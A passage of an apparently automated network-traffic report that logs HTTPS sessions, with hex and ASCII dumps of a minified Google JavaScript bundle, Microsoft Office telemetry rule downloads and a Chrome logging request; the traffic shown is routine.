self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);var da,ea,ha,na,oa,sa,ta,wa;da=fun
2024-10-29 16:59:27 UTC	1378	IN	Data Raw: 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 68 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 72 6e Data Ascii: type)return a;a[b]=c.value;return a};ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return
2024-10-29 16:59:27 UTC	1378	IN	Data Raw: 20 62 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 62 29 72 65 74 75 72 6e 20 62 2e 63 61 6c 6c 28 61 29 3b 69 66 28 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 3d 3d 22 6e 75 6d 62 65 72 22 29 72 65 74 75 72 6e 7b 6e 65 78 74 3a 64 61 28 61 29 7d 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 62 60 22 2b 53 74 72 69 6e 67 28 61 29 29 3b 7d 3b 73 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 62 29 7d 3b 74 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 61 73 73 69 Data Ascii: b=typeof Symbol!="undefined"&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if(typeof a.length=="number")return{next:da(a)};throw Error("b`"+String(a));};sa=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};ta=typeof Object.assi
2024-10-29 16:59:27 UTC	1378	IN	Data Raw: 6e 63 74 69 6f 6e 28 68 29 7b 74 68 69 73 2e 46 61 3d 30 3b 74 68 69 73 2e 77 66 3d 76 6f 69 64 20 30 3b 74 68 69 73 2e 4e 72 3d 5b 5d 3b 74 68 69 73 2e 68 56 3d 21 31 3b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 74 72 79 7b 68 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6c 29 7b 6b 2e 72 65 6a 65 63 74 28 6c 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6a 46 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 6d 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6c 7c 7c 28 6c 3d 21 30 2c 6d 2e 63 61 6c 6c 28 6b 2c 6e 29 29 7d 7d 76 61 72 20 6b 3d 74 68 69 73 2c 6c 3d 21 31 3b 72 65 74 75 72 6e 7b 72 65 73 6f 6c 76 65 3a 68 28 74 68 69 73 2e 53 64 61 29 2c 72 65 6a 65 63 74 3a 68 Data Ascii: nction(h){this.Fa=0;this.wf=void 0;this.Nr=[];this.hV=!1;var k=this.jF();try{h(k.resolve,k.reject)}catch(l){k.reject(l)}};e.prototype.jF=function(){function h(m){return function(n){l\|\|(l=!0,m.call(k,n))}}var k=this,l=!1;return{resolve:h(this.Sda),reject:h
2024-10-29 16:59:27 UTC	1378	IN	Data Raw: 6f 6d 69 73 65 3d 74 68 69 73 3b 68 2e 72 65 61 73 6f 6e 3d 74 68 69 73 2e 77 66 3b 72 65 74 75 72 6e 20 6c 28 68 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 47 37 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 4e 72 21 3d 6e 75 6c 6c 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 74 68 69 73 2e 4e 72 2e 6c 65 6e 67 74 68 3b 2b 2b 68 29 66 2e 58 4f 28 74 68 69 73 2e 4e 72 5b 68 5d 29 3b 0a 74 68 69 73 2e 4e 72 3d 6e 75 6c 6c 7d 7d 3b 76 61 72 20 66 3d 6e 65 77 20 62 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 79 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 68 2e 69 79 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 7a 66 61 3d 66 75 6e 63 74 69 Data Ascii: omise=this;h.reason=this.wf;return l(h)};e.prototype.G7=function(){if(this.Nr!=null){for(var h=0;h<this.Nr.length;++h)f.XO(this.Nr[h]);this.Nr=null}};var f=new b;e.prototype.yfa=function(h){var k=this.jF();h.iy(k.resolve,k.reject)};e.prototype.zfa=functi
2024-10-29 16:59:27 UTC	1378	IN	Data Raw: 28 22 46 69 72 73 74 20 61 72 67 75 6d 65 6e 74 20 74 6f 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 61 20 72 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 22 29 3b 72 65 74 75 72 6e 20 61 2b 22 22 7d 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 45 61 28 74 68 69 73 2c 62 2c 22 73 74 61 72 74 73 57 69 74 68 22 29 2c 65 3d 64 2e 6c 65 6e 67 74 68 2c 66 3d 62 2e 6c 65 6e 67 74 68 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 6f 72 28 Data Ascii: ("First argument to String.prototype."+c+" must not be a regular expression");return a+""};na("String.prototype.startsWith",function(a){return a?a:function(b,c){var d=Ea(this,b,"startsWith"),e=d.length,f=b.length;c=Math.max(0,Math.min(c\|0,d.length));for(
2024-10-29 16:59:27 UTC	1378	IN	Data Raw: 68 3d 30 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 74 68 69 73 2e 47 61 3d 28 68 2b 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b 69 66 28 6c 29 7b 6c 3d 5f 2e 72 61 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 65 22 29 3b 64 28 6c 29 3b 69 66 28 21 73 61 28 6c 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 66 60 22 2b 6c 29 3b 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3d 6d 3b 72 65 74 75 72 6e 20 74 68 69 Data Ascii: h=0,k=function(l){this.Ga=(h+=Math.random()+1).toString();if(l){l=_.ra(l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw Error("e");d(l);if(!sa(l,f))throw Error("f`"+l);l[f][this.Ga]=m;return thi
2024-10-29 16:59:27 UTC	1378	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 6b 3d 64 28 74 68 69 73 2c 6b 29 3b 72 65 74 75 72 6e 20 6b 2e 5a 65 26 26 6b 2e 6c 69 73 74 3f 28 6b 2e 6c 69 73 74 2e 73 70 6c 69 63 65 28 6b 2e 69 6e 64 65 78 2c 31 29 2c 6b 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 5a 65 2e 52 6b 2e 6e 65 78 74 3d 6b 2e 5a 65 2e 6e 65 78 74 2c 6b 2e 5a 65 2e 6e 65 78 74 2e 52 6b 3d 0a 6b 2e 5a 65 2e 52 6b 2c 6b 2e 5a 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 52 6b 3d 66 28 29 3b 74 68 69 73 2e 73 Data Ascii: function(k){k=d(this,k);return k.Ze&&k.list?(k.list.splice(k.index,1),k.list.length\|\|delete this[0][k.id],k.Ze.Rk.next=k.Ze.next,k.Ze.next.Rk=k.Ze.Rk,k.Ze.head=null,this.size--,!0):!1};c.prototype.clear=function(){this[0]={};this[1]=this[1].Rk=f();this.s
2024-10-29 16:59:27 UTC	1378	IN	Data Raw: 2e 65 6e 74 72 69 65 73 7c 7c 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 63 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 64 3d 6e 65 77 20 61 28 5f 2e 72 61 28 5b 63 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 21 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 63 29 72 65 74 Data Ascii: .entries\|\|typeof Object.seal!="function")return!1;try{var c=Object.seal({x:4}),d=new a(_.ra([c]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.next();if(f.done\|\|f.value[0]!=c\|\|f.value[1]!=c)ret
2024-10-29 16:59:27 UTC	1378	IN	Data Raw: 32 31 36 7d 7d 7d 29 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 66 6f 72 28 76 61 72 20 63 3d 22 22 2c 64 3d 30 3b 64 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 7b 76 61 72 20 65 3d 4e 75 6d 62 65 72 28 61 72 67 75 6d 65 6e 74 73 5b 64 5d 29 3b 69 66 28 65 3c 30 7c 7c 65 3e 31 31 31 34 31 31 31 7c 7c 65 21 3d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 29 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 69 6e 76 61 6c 69 64 5f 63 6f 64 65 5f 70 6f 69 6e 74 20 22 2b 65 29 3b 65 3c 3d 36 35 35 33 35 3f 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 65 29 Data Ascii: 216}}});na("String.fromCodePoint",function(a){return a?a:function(b){for(var c="",d=0;d<arguments.length;d++){var e=Number(arguments[d]);if(e<0\|\|e>1114111\|\|e!==Math.floor(e))throw new RangeError("invalid_code_point "+e);e<=65535?c+=String.fromCharCode(e)

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.6	49828	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:27 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:27 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:27 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 9bc6d014-801e-008f-4946-262c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165927Z-r197bdfb6b4hsj5bywyqk9r2xw000000085000000000ey3k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:27 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.6	49829	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:27 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:27 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:27 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 75b99f9f-001e-0079-56b6-2612e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165927Z-r197bdfb6b48pl4k4a912hk2g4000000062g000000006kfx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:27 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.6	49831	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:27 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:28 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:27 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: df5d8003-e01e-0099-48f7-26da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165927Z-17c5cb586f6wmhkn5q6fu8c5ss0000000680000000005gnf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:28 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.6	49830	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:27 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:28 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:27 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 4e087ea8-e01e-0099-0e5a-28da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165927Z-15b8d89586fwzdd8urmg0p1ebs0000000hgg000000002m8u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:28 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.6	49832	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:27 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:28 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:28 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 04bfc9b2-001e-0017-54ad-260c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165928Z-16849878b78km6fmmkbenhx76n000000061000000000uw96 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:28 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.6	49833	142.250.185.142	443	364	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:28 UTC	706	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 913 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlaHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-29 16:59:28 UTC	913	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 34 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 30 32 32 31 31 36 35 31 34 37 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.134"],[1,0,0,0,0]]],373,[["1730221165147",null,null,null,
